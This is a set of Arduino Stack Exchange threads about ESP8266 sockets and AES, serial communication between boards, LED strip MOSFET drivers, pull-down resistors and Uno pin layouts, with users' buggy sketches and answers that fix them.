title: Arduino-ESP8266 socket

text:
# Question
Title: Arduino-ESP8266 socket
I am programming an ESP8266 module via Arduino IDE. I basically have to use it as a server that can light up a led when a client sends a request.

This is okay but I have to implement it with a NONCE and AES encryption system to prevent replay attacks. My problem is that my esp server has to send a value to a client but I only saw the ESP as a data receiver and I can't send custom strings. This is my code but it does not work because I have problems with the `serverClients[i].write(randomstr,4);` function

I highlighted the non working part of the code

```
#include <ESP8266WiFi.h>

#define RANDOM_REG32  ESP8266_DREG(0x20E44)
#define MAX_SRV_CLIENTS 3
const char* ssid = "********";
const char* password = "********";

WiFiServer server(7000);
WiFiClient serverClients[MAX_SRV_CLIENTS];

void setup() {
Serial.begin(115200);
WiFi.begin(ssid, password);
delay(5000);
Serial.print("\nConnecting to "); Serial1.println(ssid);
server.begin();
server.setNoDelay(true);
Serial.print("Ready! Use 'port ");
Serial.print(WiFi.localIP());
Serial.println(" 7000' to connect");
}

void loop(){
uint8_t i;
if (server.hasClient()){
for(i = 0; i < MAX_SRV_CLIENTS; i++){
if (!serverClients[i] || !serverClients[i].connected()){
if(serverClients[i]) serverClients[i].stop();
serverClients[i] = server.available();
continue;
}
}
//no free spot
WiFiClient serverClient = server.available();
serverClient.stop();
}
for(i = 0; i < MAX_SRV_CLIENTS; i++){
if (serverClients[i] && serverClients[i].connected()){
if(serverClients[i].available()){
while(serverClients[i].available()) Serial.write(serverClients[i].read());

//THIS IS THE NON WORKING PART
long randNumber = RANDOM_REG32 % 10000;
 Serial.println(randNumber);
String randomstr = String(randNumber);
 serverClients[i].write(randomstr,4);
}
}
}

if(Serial.available()){
size_t len = Serial.available();
uint8_t sbuf[len];
Serial.readBytes(sbuf, len);

for(i = 0; i < MAX_SRV_CLIENTS; i++){
if (serverClients[i] && serverClients[i].connected()){
serverClients[i].write(sbuf, len);
delay(1);
}
}
}
}

```

I guess I have some problems with char arrays, strings, etc... but I can't make it work

# Answer
Replace the non working code with this and it will compile:

```
long randNumber = RANDOM_REG32 % 10000;
Serial.println(randNumber);
size_t length = 4;
char randomstr[length];
itoa(randNumber, randomstr, 10);
serverClients[i].write(randomstr, length);

```
> 0 votes

---
Tags: arduino-ide, esp8266, web-server
---


title: Measuring the distance covered by a car

text:
# Question
Title: Measuring the distance covered by a car
I am currently working on developing an RC car that is controlled by an Arduino .

I would like to add a function that can calculate the distance covered by the car without using a GPS !

what are the available alternatives ?

# Answer
* The cheap and easy way. Doesn't work all the time though. This method uses an ultrasonic sensor (such as the HC-SR04). You mount it on the car's front bumper and calculate the distance from the car and the wall. Then from the start point, calculate how much distance has been covered. This method is flawed in the way that you cannot do this unless there is a wall in front of the car.
* Rotary encoder, put this on the wheel of your robot, then calculate the circonference of the wheels. Then calculate, with the number of rotation made and the circonference of the wheel, the distances that has been made. Some cars use this to calculate the cars speed. It is quite effective.
> 3 votes

---
Tags: arduino-uno
---


# Question
Title: Arduino to arduino serial communication without a library
So I'm trying to send an array from one arduino to another through serial communication, without using the software serial library. The arduinos are wired rx-\>tx, tx-\>rx and ground to ground. I have a struct which holds the array of data and 2 test characters. The entire struct is then sent 1 char at a time. The receiver then receives 1 char at a time, re-calculates the test chars and if the xor of the sent and calculated tests chars is 1 then we assume an error exists and turn on a red LED. If no error exists then we turn on a green LED. I'm having some issues with my code however. It never sends any data to the 2nd arduino. Can anyone see any reason why?

Sender:

```
#include <avr/io.h>
#include <util/delay.h>
#include <string.h>

#define F_CPU 16000000L
#define BAUD_RATE 9600
#define MYUBRR (F_CPU / 16 / BAUD_RATE) - 1
#define END_OF_MESSAGE 47
#define END_OF_SECTION 35
#define START_OF_MESSAGE 2
#define _BV(bit) (1<<(bit))

struct packet{
    /*Packet to send a part of the message. */
    char *data;
    char vert_check;
    char horz_check;
};

void serialInit()
{
    UBRR0H = (char) (MYUBRR>>8);
    UBRR0L = (char) MYUBRR;
    UCSR0C = (3 << UCSZ00);
    UCSR0B = (1 << RXEN0) | (1 << TXEN0);
}

unsigned char serialCheckTx()
{
    return(UCSR0A & _BV(UDRE0));
}

void serial_send(unsigned char DataOut)
{
    while(serialCheckTx() == 0){;}
    UDR0 = DataOut;
}

int isOddParity(unsigned char myChar) {
    int parity = 0;
    for (myChar &= ~0x80;  myChar != 0;  myChar >>= 1) {
        parity ^= (myChar & 1);   // Toggle parity on each '1' bit.
    }
    return parity;
}

int main(void)
{
    serialInit();
    char hozcheck, vertcheck;
    /* Add message to array below to send
     * Initialised to toets.
     */
    char *s = {'T', 'o', 'e', 't', 's'};
    struct packet sendpacket;
    sendpacket.data = s;
    hozcheck = 0;
    for(int i=0; i<strlen(s); i++){
        hozcheck += s[i];
    }
    vertcheck = (isOddParity(s[0]) + '0');

    sendpacket.horz_check = hozcheck;
    sendpacket.vert_check = vertcheck;

    serial_send(START_OF_MESSAGE);
    serial_send(sendpacket.horz_check);
    serial_send(END_OF_SECTION);
    serial_send(sendpacket.vert_check);
    serial_send(END_OF_SECTION);
    for(int j=0; j<strlen(s); j++){
        serial_send(s[j]);
    }
    serial_send(END_OF_MESSAGE);
}

```

Receiver:

```
#include <avr/io.h>
#include <util/delay.h>
#include <string.h>

#define END_OF_MESSAGE 47
#define START_OF_MESSAGE 2
#define F_CPU 20000000L
#define BAUD_RATE 9600
#define MYUBRR (F_CPU / 16 / BAUD_RATE) - 1
#define _BV(bit) (1<<(bit))
#define START_OF_MESSAGE 2
#define END_OF_MESSAGE 47
#define END_OF_SECTION 35

struct packet{
    char *data;
    char vert_check;
    char horz_check;
};

void serialInit()
{
    UBRR0H = (char) (MYUBRR>>8);
    UBRR0L = (unsigned) MYUBRR;
    UCSR0C = (3 << UCSZ00);
    UCSR0B = (1 << RXEN0) | (1 << TXEN0);
}

unsigned char serialCheckRx()
{
    return(UCSR0A & _BV(RXC0));
}

unsigned char serialReceive()
{
    while (serialCheckRx() == 0){;}
    return UDR0;
}

void *array_concat(char *a, int an, char b){
    int s = sizeof(char);
    char *p = malloc(s * (an + 1));
    memcpy(p, a, an*s);
    memcpy(p + an*s, b, s);
    return p;
}

int isOddParity(unsigned char myChar) {
    int parity = 0;

    for (myChar &= ~0x80;  myChar != 0;  myChar >>= 1) {
        parity ^= (myChar & 1);   // Toggle parity on each '1' bit.
    }
    return parity;
}

int main(void)
{
    DDRB = 0b111111;
    serialInit();
    char tmp = 0, recvert = 0, rechoz = 0, *s, testhoz, testvert;
    int testbit = 0;
    /*to rebuild our packages*/
    struct packet packet1;
wait:
    while((tmp = serialReceive()) != 2){
        goto wait;
    }

    while((tmp = serialReceive()) != 35){
        /*Should be a single char for horizontal*/
        rechoz = tmp;
    }
    while((tmp = serialReceive()) != 35){
        /*Should be a single char for "vert" parity*/
        recvert = tmp;
    }
    while((tmp = serialReceive()) != 47){
        /*While input is not end of message grow s*/
        s = array_concat(s, strlen(s), tmp);
    }

    packet1.data = s;
    packet1.vert_check = recvert;
    packet1.horz_check = rechoz;
    testhoz = 0;
    for(int i=0; i<strlen(s); i++){
        testhoz += s[i];
    }
    testvert = ((isOddParity(s[0])) + '0');
    if((packet1.vert_check ^ testvert) == 1)
        testbit = 1;
    if((packet1.horz_check ^ testhoz) == 1)
        testbit = 1;
    if(testbit == 1){
        /*RED LED*/
        PORTB = 0b100000;
    } else {
        PORTB = 0b010000;
    }
    free(s);
}

```

# Answer
One obvious problem with the code is that `s` is not 0-terminated. Taking `strlen` of such string techically is an **Undefined Behaviour**, and all bets are off.

I can only speculate that it does return something larger than the max value an integer may hold (keep in mind that it returns `size_t`). It means that the loop

```
for(int i=0; i<strlen(s); i++){
    hozcheck += s[i];
}

```

is in fact infinite, and the program neve got a chance to send *anything*.
> 3 votes

# Answer
Not sure it has a bearing on your problem or not, but I can't help highlight this:

```
wait:
    while((tmp = serialReceive()) != 2){
        goto wait;
    }

```

That has to be the the most evil piece of code ever written in the history of mankind. I'm sorry, but it is.

```
while((tmp = serialReceive()) != 2);

```

is all you need. Or if you must be "pedantic":

```
while((tmp = serialReceive()) != 2) {
    continue;
}

```

There is never any call to use `goto` (I don't know why it was ever even included in C), and certainly not to re-run a `while` loop that is going to re-run itself anyway.

---

In your receiver you are using dynamic memory, and doing it extremely badly.

First you start out with a pointer

```
char *s;

```

Then when you receive a data character you pass that pointer to your `array_concat()` routine as the source for where to copy data from:

```
s = array_concat(s, strlen(s), tmp);

```

You are at that point asking it for the length of the string in an undefined pointer, which is itself undefined. It could be 0, it could be 65535, or it could be anywhere in between.

Then in array\_concat you allocate memory to a pointer depending on that string length (the Uno doesn't have 65535 bytes of RAM, so anything more than the available memory will fail to allocate). And then you copy that number of bytes from the undefined source to the (possibly undefined) destination. That will then make all sorts of horrible things happen.

Then, assuming you even get that far, you return the new pointer and immediately give it to `s`.

Next iteration (assuming the first iteration worked) you do it all again, but now you have lost what `s` used to point to. That memory is gone for good. You have created a memory leak.

So you need to:

1. Make sure `s` is initialized to NULL
2. Do not use `strlen()` since you aren't working with a string but an array of data - instead maintain a count of the number of bytes received
3. Only do any copying of data if `s` actually points to some valid data (not NULL)
4. `free()` the old data pointer once you have finished copying the data (if it was pointing to real allocated memory)
5. Don't use `memcpy` to copy one byte - or if you must, then pass it the *address* of the byte to copy, not the byte itself - otherwise it will try and copy data from the location specified by the value of the byte, which really isn't what you want.

TBH I wouldn't use any dynamic memory at all. Instead I would stick to fixed size arrays that are big enough to hold the longest message you will send / receive. It's less fraught with danger, though it can be more wasteful of RAM.

Alternatively, if you do want to use dynamic memory, then send the length of the data with the header of your packet and allocate all the memory you need in one `malloc()` call before receiving all the data.
> 6 votes

---
Tags: arduino-uno, serial, strlen
---


title: Difference in Arduino pin distance

text:
# Question
Title: Difference in Arduino pin distance
I have an Arduino Uno rev 3. Today i tried to mount a breadboard as a shield for my Arduino on top of it. I plugged in the pin headers i bought and was surprised that the breadboard won't fit. As you can see in the picture below the distance between Vin and A0 is exactly the size of a pin, but the distance between pin 7 and 8 is less than that and so the breadboard won't fit on this side. What's the reasoning behind this (in my eyes) bad design ?

# Answer
> 2 votes
It is a mistake that became a feature for polarizing the shields: forum.arduino.cc/index.php?topic=117441.0

In an 2008 discussion Massimo says:

> "I made that mistake, when I made the first arduino board."

at http://forum.arduino.cc/index.php?topic=22737.msg171839#msg171839 with:

---
Tags: arduino-uno, hardware
---


# Question
Title: How to fix 12V RGB LED Strip connection to NodeMCU?
I am trying to hook 12V RGB Led Strip (LTROP SMD 5050 RGB LED Light Strip) to a NodeMCU unit. I know there are many different tutorials on this and I am very new to wiring and electric circuits.

I used BUZ91A n-MOSFETs and 150 Ohm resistors for each of the RGB channels, and the board is using it's own power supply via usb.

I use very simple code to check if the setup works:

```
#define REDPIN D3
#define GREENPIN D1
#define BLUEPIN D2

#define FADESPEED 5     // make this higher to slow down

void setup() {
  pinMode(REDPIN, OUTPUT);
  pinMode(GREENPIN, OUTPUT);
  pinMode(BLUEPIN, OUTPUT);
  Serial.begin(115200);
  Serial.println("Finished setup");
}

void loop() {
    analogWrite(REDPIN, 800);
    analogWrite(BLUEPIN, 1020);
    analogWrite(GREENPIN, 400);
    delay(100);

  Serial.println("Finished loop");
}

```

I suspect nothing works because NodeMCU and the LED are using different power sources and the fact they have common ground doesn't seem to be everything required.

# Answer
So now we finally know the reason is **MOSFET's threshold voltage is too high**. The solution is to drive the gate with NPN transistor (you can use BC547 or 2N5551 or similar). You have to connect it's collector to 5 V and it's emitter to GND. Put 10k or 100k resistor between 5 V and the collector, connect the collector to MOSFET's gate and GPIO to the base of NPN transistor. Put some resistor between GPIO and the base of the transistor, maybe 4k7 or similar.

Note:
**HIGH** from GPIO will switch **off** the LED strip and **LOW** will switch it **on**.

Another solution is to use MOSFET with lower threshold voltage.

**EDIT:**
If you want to avoid adding NPN transistor you can use **NTD5867NL** MOSFET which has max threshold voltage 2.5 V so it will for sure work with 3.3 V at the gate but is rather expensive (about $4). Much better solution is adding cheap NPN transistor.

**EDIT:**
Here is the schematic:

simulate this circuit – Schematic created using CircuitLab

**EDIT:**
Here is the correct wiring:
> 2 votes

---
Tags: led, wires, nodemcu
---


title: Arduino Uno Digital to Analog Converter

text:
# Question
Title: Arduino Uno Digital to Analog Converter
I'm trying to read in an analog signal (a heartbeat) to pin A0 on the Arduino Uno and then convert it to digital. I'm hoping to use the digital signal to make an LED light up every time the voltage of the heartbeat signal goes over 1 volt. This is the code I have right now, but something is wrong because it isn't lighting up the LED.

```
unsigned int analog0;             // Raw data from A0 ranging from 0 to 1023
unsigned long data_range = 2000;  // Length of time to record data for
double volts;                     // The analog data from A0 converted to volts
int ledPin = 13;
unsigned long start_time;
unsigned long data_time;

void setup() {
  Serial.begin(9600);             // Initialize and set serial port baud rate
  pinMode(ledPin , OUTPUT);
}

void loop() {
  start_time = millis();
  while ((millis() - start_time) < data_range)
  {
    // Record current time of analog acquisition
    data_time = millis();

    // Record analog data on A0
    analog0 = analogRead(0);

    // Convert raw data into voltage
    volts = (analog0 / 1023.0) * 5;

    Serial.print(volts);
    Serial.println();

    // Slow the rate of data acquisition
    //delay(1);

    if (volts > 1.5){
      digitalWrite(ledPin, HIGH);
      //delay(50);
    }
    else{
      digitalWrite(ledPin, LOW);
    }
  }
}

```

# Answer
Try commenting out the serial in your sketch. In my experience serial communication takes time, and I assume you have a short window where the voltage peaks at more than a volt. Or initialize the serial with a stupidly high baud rate.
Edit: even better, you could try this for a faster response time:

```
void setup(){
  digitalWrite(13,0);
  pinMode(13, OUTPUT);
}

void loop(){
  if(analogRead(A0)>204){ //at ~1V the ADC will read between 204 and 205
    digitalWrite(13,1);
    delay(100);
    digitalWrite(13,0);
  }
}

```
> 1 votes

# Answer
I think your voltage formula is wrong. Try this:

float volts = analog0 * (5.0 / 1023.0);
> -1 votes

---
Tags: arduino-uno, atmega328, digital-analog-conversion
---


# Question
Title: What is happening in this basic push-button circuit?
In the example circuit below (Arduino Uno R3), what would the equation be to identify the amperage going into pin 2 when the button is pressed? What if I used the 3.3v on the arduino or a 9v battery instead?

What is happening to the input pin when the button is not being pressed? (I assume it's a guaranteed LOW state due to any current being sapped by the GND, yes?)

What would happen without the pull down resistor? A short when the button is pressed? What would happen without the ground being connected at all? Anything?

A tutorial for how to choose a pull down resistor I seen suggested a resistance value of 10 times the impedance of the pin. I'm not quite sure where to find this impedance value, but I have seen on an arduino tutorial "A 10K resistor is a good value for a pullup or pulldown resistor." Just not much of an explanation of why that value.

Sorry for so many little questions in this one question, but these are the kinds of things I'm not seeing addressed in most tutorials.

# Answer
> 3 votes
> what would the equation be to identify the amperage going into pin 2 when the button is pressed?

Once the button has been pressed for more than a few nanoseconds the current will be 0 (or as near as).

Immediately the button is pressed the formula is I(t) = dQ(t) / dt since the input pin is a MOSFET gate and as such is seen (in simple terms) as a capacitor.

> What if I used the 3.3v on the arduino or a 9v battery instead?

The same.

> What is happening to the input pin when the button is not being pressed? (I assume it's a guarangeed LOW state due to any current being sapped by the GND, yes?)

It is pulled down to ground by the resistor.

> What would happen without the pull down resistor? A short when the button is pressed? What would happen without the ground being connected at all? Anything?

The input will be HIGH when the button is pressed, and floating (initially HIGH) when released.

> A tutorial for how to choose a pull down resistor I seen suggested a resistance value of 10 times the impedance of the pin. I'm not quite sure where to find this impedance value, but I have seen on an arduino tutorial "A 10K resistor is a good value for a pullup or pulldown resistor." Just not much of an explanation of why that value.

The main concern with a pullup or pulldown resistor is the current it demands from the power supply when the button is pressed. If it's too low then you will be wasting current. If it's too high then the input may take a while to turn off when you release the button. 10K is a "good" value since it is a good balance between those two factors.

The current from the supply is calculated as I=V/R, so 5/10000 = 0.5mA. Low power systems may choose a higher value (100kΩ, say) to reduce the current.

# Answer
> 2 votes
> what would ... the amperage going into pin 2 when the button is pressed?

Virtually zero Amps, as pin 2 is set to an input. There is some input impedance, but according to the datasheet that is, at maximum, 1µA.

> What if I used the 3.3v on the arduino?

Same thing. 1µA.

> or a 9v battery instead?

Then you will blow up your chip.

> What is happening to the input pin when the button is not being pressed? (I assume it's a guarangeed LOW state due to any current being sapped by the GND, yes?)

That's where the resistor in the circuit comes in. It's called a pull-down resistor. It will make sure the pin is LOW. Without it the pin is "floating", and could read as HIGH. e.g. due to some static in the air, or just having your hands nearby the pin.

> What would happen without the pull down resistor? A short when the button is pressed?

If you remove the resistor, you shouldn't connect GND to the other side of the switch. That would indeed cause a short between 5V and GND, possibly damaging your powersupply/PC or blow up your wires, or traces on the Arduino PCB

> What would happen without the ground being connected at all? Anything?

The pin would be floating and result in sometimes reading a HIGH even when the button isn't pressed.

> A tutorial for how to choose a pull down resistor I seen suggested a resistance value of 10 times the impedance of the pin. I'm not quite sure where to find this impedance value, but I have seen on an arduino tutorial "A 10K resistor is a good value for a pullup or pulldown resistor." Just not much of an explanation of why that value.

The value here isn't very critical. Somewhere between 1k and 100k will work.

---
Tags: arduino-uno
---


# Question
Title: How do I control multiple LEDs strips with Arduino
I want to decorate my house with LEDs strips on each step of my stairs. I will buy LEDs strips with a 12V power supply.

I want that if I put my foot on the first step, the first LEDs strip turn on, and after every second, the next step turn on too until the last step. After 10 seconds on, the step must turn off.

To detect my foot, I'm thinking of using that kind of component : PIR (motion) sensor (product 189 on adafruit website). It act like a push button.

My first thought was to create two circuit loops. One to supply the LEDs strips with a transistor between each strip. And the second to control the transistor, so the turn on/off signal.

Thanks to your advices, I decided to use an Arduino to do the control loop.

I found this (http://www.zem.fr/decouverte-du-composant-74hc595-8-bit-shift-register/):  It's two 8-bit shift register, I have 16 steps on my stairs. With a simple bit of code, I successed in writing a Arduino code that push ten HIGH(1) bits from the right then sixteen LOW(0) bits. So I have what I want with the LEDs.

The question is : how to connect the 16 LEDs strips with my circuit (instead of the single led) ?

English is not my native language, I tried to do my best.

# Answer
> 1 votes
Assuming your LED strips are essentially "always on" when they have power, you could replace the single LEDs in your diagram with transistors that sit between the power supply and the strip. Then, when your Arduino pin goes high, the transistor turns on the LED strip.

---
Tags: led, electronics, transistor
---


# Question
Title: ESP8266 Aes encryption using Arduino IDE
I'm trying to implement an AES encryption function on my ESP8266 controller, using Arduino ide and this aes library. I finally made it work after many attempts but the output i get from the encryption function is only numerical and it doesn't correspond to other encryptions made by other softwares.

This is the code part relative to the AES encryption:

```
 #include <AES.h>

AES aes ;
byte *key = (unsigned char*)"0123456789010123";
unsigned long long int my_iv = 36753562;
 tempToken = RANDOM_REG32 % 10000;
    randomstr = String(tempToken);
    //answer = "{\"token\":\"" + randomstr + "\"}";
    byte plain[4];
    randomstr.getBytes(plain, 4);
    Serial.println(randomstr);
    Serial.println(plain[0]);
    Serial.println(plain[1]);
    Serial.println(plain[2]);
    Serial.println(plain[3]);
    byte cipher [48];
  //  aes.iv_inc();
    byte iv [N_BLOCK] ;
    aes.set_IV(my_iv);
    aes.do_aes_encrypt(plain, 48, cipher, key, 128, iv);
    String ciphertoken = "";
    for (int i = 0; i < 48; i++) {
      ciphertoken += cipher[i];
    }
    answer = "{\"token\":\"" + ciphertoken + "\"}";

```

It basically generates a random number between 0 - 9999, then converts it in a byte array (because aes function needs a byte array as input), then encrypt this byte array and prints the output, written in `cipher` byte array.

This is the output I get from it

```
6188
54
49
56
0
{"token":"521111513725521540120674957151112223103194250224197251261938514437131212302201813929189123134524113912554682501508415421130220"}

```

I can't understand if I did something wrong of if it is formatted in a strange way and if I can get the right encryption from it

# Answer
I don't know whether this is the only problem, but the way you are building up the string is bad: you are appending the decimal value of each byte of the cipher - so if your cipher array were, say, `{ 0x52, 0x11, 0x115, 0x137, 0x255, 0x215, 0x40, 0x1, 0x20 .... }` you'd get the string you're getting: `521111513725521540120...` That's probably not what you want.

Probably what you want for that part is to base64-encode `cipher`, which you can find out how to do, for example, here. (If you see encrypted stuff in printable format, usually it's base64 encoded.)
> 0 votes

---
Tags: esp8266, library, communication
---


# Question
Title: Arduino Uno rev 3 - what are the additional 2x3 set of pins for?
I recently bought `Arduino Uno rev 3` board and I spent a lot of time trying to figure out the function of each individual pin. I googled all the fancy terms like `IOREF`, `SDA`, etc. and one by one I figured out the functional purpose for most of the pins.

However, there are few pins (actually pin groups) which have no labels around and I find it really difficult to figure out what these pins are supposed to do.

Again, I googled around and found this schematic from which I figured out that the 6-pin group at the bottom is about something called `ICSP` (or at least this is what is written there). When I googled this term, I found this excellent explanation about the serial communication protocols.

However, at this point I am really confused.

* The explanation about the serial protocols doesn't mention at all `ICSP`. By googling even further I only get more and more confused. Yes, I found the ICSP wiki page but I am not 100% sure that the bottom 6 pins are related to ICSP.
* From the same schematic which I found I see there are 4 additional soldered pads with label `JP2` right above them. Currently I have no clue about the function of these pads. **Question 1** \- what are these soldered pads for?
* Right next to the `JP2` stuff is a group of 6 pins (3 rows, 2 columns). The schematic is not clear about these pins. **Question 2** \- what is the purpose of these pins? **Question 3** \- where can I find the actual schematic (layout) about each individual pin?
* I am not 100% sure that the bottom group of pins (2 rows, 3 columns) is related to `ICSP`. Maybe that's the case, maybe it's not. **Question 4** \- what is the purpose of these pins? **Question 5** \- where can I find the actual schematic (layout) about each individual pin?

Thank you in advance for your help!

# Answer
The ICSP pins have two functions:

1. For programming the ATMega328P directly using a hardware programmer (In Circuit Serial Programmimg)
2. SPI connections for shields in a standard place.

They are used for SPI because different boards have the SPI pins on the main headers in different locations. All boards should have this 6-pin block in the same place though meaning that shields can then work with more boards.

On the Uno they share the same physical connections as digital pins 11-13 plus reset and power.

JP2 and the other 6-pin block are connected to the USB interface chip (ATMega16U2). The 6 pin block provide ICSP for programming that chip. The other 4 (unpopulated) pins connect to GPIO pins on that same chip. They can be used for anything you like if you replace the firmware on the USB chip.

For now ignore those two pin groups. They aren't really anything to do with the Arduino side of things, only the USB interface.

You can find all this on the official Uno schematic which is on the official Uno product page: https://www.arduino.cc/en/Main/ArduinoBoardUno
> 0 votes

---
Tags: arduino-uno, pins
---


# Question
Title: Arduino to ESP8266 SoftwareSerial communication
I have an Arduino Uno and an ESP8266, connected over serial through ESP8266 pin GPIO\_2 (which is set as RX over espsoftwareserial) and 11 on Uno (which is set as TX over SoftwareSerial). I am trying to send data (for now just random numbers from 0 to 1000) from Arduino Uno to ESP8266. But ESP8266 shows messy chars.

I am using:

Arduino UNO code:

```
#include <SoftwareSerial.h>

SoftwareSerial mySerial(10, 11); // RX, TX
int randnum;

void setup() {
  // set the data rate for the SoftwareSerial port
  mySerial.begin(9600);
  Serial.begin(115200);
}

void loop() { // run over and over
  randnum = random(0,1000);
  mySerial.write(randnum);
  Serial.println(randnum);
  delay(2000);
}

```

ESP8266 code: (it's programmed with Arduino IDE)

```
#include <ESP8266WiFi.h>
#include <SoftwareSerial.h>

SoftwareSerial ARD_ESP(2, SW_SERIAL_UNUSED_PIN); // RX, TX  |||| RX = ESP8266 = GPIO_2

const char* ssid     = "myssid";
const char* password = "mypassword";

const char* host = "www.myweb.com";
const char* value2 = "986.458";
const char* value1 = "150.0589";
long previousMillis = 0;
char indata;
String incomingData_from_ARD = "";
int i=0;

void setup() {
  Serial.begin(115200);
  ARD_ESP.begin(9600);
  delay(10);
  // We start by connecting to a WiFi network
  Serial.println();
  Serial.println();
  Serial.print("connecting to wifi: ");
  Serial.print(ssid);
  WiFi.begin(ssid, password);
  while (WiFi.status() != WL_CONNECTED) {
    delay(500);
    Serial.print(".");
  }
  Serial.println("");
  Serial.println("WiFi connected");
  Serial.println("IP address: ");
  Serial.println(WiFi.localIP());
}
//int value = 0;

void loop() {
  //delay(1000);
  //++value;
  if (ARD_ESP.available() > 0) {
    Serial.write(ARD_ESP.read());
    indata = ARD_ESP.read();
    incomingData_from_ARD += String(indata);
  }
  if ((millis() - previousMillis) > 10000) {
    Serial.println("---------------------------------------------------------------------------------------");
    Serial.print("Requesting URL: ");
    Serial.println(host);
    Serial.println("-------------------------------");
    // Use WiFiClient class to create TCP connections
    WiFiClient client;
    const int httpPort = 80;
    if (!client.connect(host, httpPort)) {
      Serial.println("Request failed");
      return;
    }
    // We now create a URI for the request
    String url = "/testesp.php";
    url += "?sensor_1_total_volume=";
    url += incomingData_from_ARD;
    url += "&sensor_2_total_volume=";
    url += value2;
    Serial.println("Sending data to URL: ");
    Serial.println(url);
    Serial.println("-------------------------------");
    client.print(String("GET ") + url + " HTTP/1.1\r\n" +
      "Host: " + host + "\r\n" +
      "Connection: close\r\n\r\n");
      unsigned long timeout = millis();
    while (client.available() == 0) {
      if (millis() - timeout > 5000) {
        Serial.println(">>> Server Timeout!");
        client.stop();
        return;
      }
    }
    while(client.available()) {
      String line = client.readStringUntil('\r');
      Serial.print(line);
    }
    Serial.println();
    Serial.println("Closing connection with web");
    Serial.println("-----------------------------------------------------------------------------------");
    previousMillis = millis();
    incomingData_from_ARD = "";
  }
}

```

And this is the text that I am getting on Serial (on PC):

```
    -----------------------------------------------------------------------------------
        ›¸Ąě*Ű
 ---------------------------------------------------------------------------------------
Requesting URL: www.myweb.com
-------------------------------
Sending data to URL:
/testesp.php?sensor_1_total_volume=Ĺ˙˙˙˙˙&sensor_2_total_volume=986.458
-------------------------------
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 13 Dec 2016 23:28:58 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/7.0.10

354
<div style=" background-color:#; font-size: px;"><div class="oznamy"><div class="eq"><i>â€žÄŚas si vymysleli lidĂ©, aby vÄ›dÄ›li, od kdy do kdy a co za to.â€ś </i>Jan Werich</div></div></div><!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8">
   <meta name="description" content="TEST_ESP">
   <meta name="author" content="Vasekdvor">
   <meta name="robots" content="noindex">
   <title>TEST ESP 8266 POST A GET</title>

0

Closing connection with web
-----------------------------------------------------------------------------------

```

These messy chars at the beginning are the random numbers that Arduino Uno sends:

**›¸Ąě\*Ű**

But Arduino sends real numbers, only the ESP8266 is interpreting them as this.

Can you please help me fix that? How can I receive numbers?

Thank you.

**EDIT:**

So i have made some changes based on chupo\_cro recommendations

Now its Arduino:

```
void loop() { // run over and over

randnum = random(0,1000);

mySerial.write((byte*)&randnum, sizeof(randnum));
Serial.println(randnum);

delay(2000);
}

```

And ESP8266:

```
long previousMillis = millis();
char indata;
String incomingData_from_ARD = "";
int i=0;

void setup() {

```

.................................

```
void loop() {
  //delay(1000);
  //++value;

  if (ARD_ESP.available() > 0) {
    //Serial.write(ARD_ESP.read());
    indata = ARD_ESP.read();
    incomingData_from_ARD += indata;
  }

  Serial.println(incomingData_from_ARD);

  if ((millis() - previousMillis) > 10000) {

```

Its still doesnt work.

# Answer
> 2 votes
There are a few issues in your code.

First, you have `if (ARD_ESP.available() > 0)` to check if the data arrived but what is going to happen if the data still haven't arrived? Instead of waiting for the data to arrive the program will continue through the loop and it will send a request every 10 seconds **even if there is no data**.

Second, you initialized `previousMillis` to zero. You should initialize it to `millis()` so you can count from the present moment in time.

Third, in the loop where you are reading the input:

```
if (ARD_ESP.available() > 0) {
    Serial.write(ARD_ESP.read());       // <-- 1st read
    indata = ARD_ESP.read();            // <-- 2nd read
    incomingData_from_ARD += String(indata);
}

```

when something arrives, you are reading it **twice** so the second read `indata = ARD_ESP.read();` gets `-1` (no data available) when there is less than two chars in the buffer. Even if you sent more than one character there is no time for new data to arrive in the buffer and even if there is more than one character you miss every second one because of the 1st read.

Fourth, you cannot send the number greater than 255 (one byte) with `mySerial.write(randnum);` because `write()` sends only one **byte**. And even if you could in a such way send more than one byte, you cannot display these **bytes** as a **string representing the number**. You could send all bytes using:

```
mySerial.write((byte*)&randnum, sizeof(randnum));

```

but, as I said, these bytes are **not** a string representing the number contained in a variable. For example, if `randnum = 1000`, that is `0xe8, 0x03` and `"1000"` is `0x31, 0x30, 0x30, 0x30`. `0x31` is ASCII for `1` and `0x30` is ASCII for `0`.

So, you have a lot of things to improve.

**EDIT:**
Try this, I don't have a time to check the code but it should work:

```
int length = 4;
char to_send[length];
itoa(randnum, to_send, 10);
mySerial.write((byte*)&to_send, sizeof(to_send));
Serial.println(to_send);

```

**EDIT:**
Unfortunately I don't have Arduino (I've even never had one :-)) so you'll have to try the code and report back if it works. I have a few ESP8266s but they are all logging some data at the moment.

Now for the ESP8266 code:

You have at least two choices when deciding how to read the data. The first choice would be 'your way', something like:

```
void loop() {

    char input;
    if(ARD_ESP.available()) {
        input = (char)ARD_ESP.read();       // you can try even without (char)
        Serial.print(input);                // send char to terminal
        incomingData_from_ARD += input;     // concatenate the new char
    }

    if ((millis() - previousMillis) > 10000) {
        // if there was something received until now
        if(incomingData_from_ARD.length()) {
            // ...
            incomingData_from_ARD = "";
        }
        previousMillis = millis();
    }
    // ...
}

```

The second way could be:

```
void loop() {
    char input;
    // wait for the data
    while(!ARD_ESP.available())
        yield();                          // to prevent WDT reset
    // read everything that has been sent
    while(ARD_ESP.available()) {
        input = (char)ARD_ESP.read();
        Serial.print(input);
        incomingData_from_ARD += input;
        delay(120);                       // 100 or a bit more for 9600 Bd
    }

    // remove 'if' to send immediately
    if ((millis() - previousMillis) > 10000) {
        // ...
        previousMillis = millis();
    }
    // ...
}

```

There is a significant difference between these two ways of reading the incoming data. When reading the data as in the first example then in every pass through the loop you either read or don't read exactly one byte. Since there is a possibility 10 seconds will pass before we received some data, there has to be a check if the data in the meantime arrived or not. If there was some data then every 10 seconds everything received until that moment would be sent - **even if that was in the middle of the string**. You probably don't want to send just one part of the string to the server.

In the second example there is a `while` loop waiting for the data from serial port. When the data arrives there is another `while` loop to read all bytes one by one. Without `delay` the loop would end before receiving the second and all subsequent bytes so the received string would be cut in 1-character chunks. Now, when the whole string is received, we don't have to check if something arrived because we already know it did.

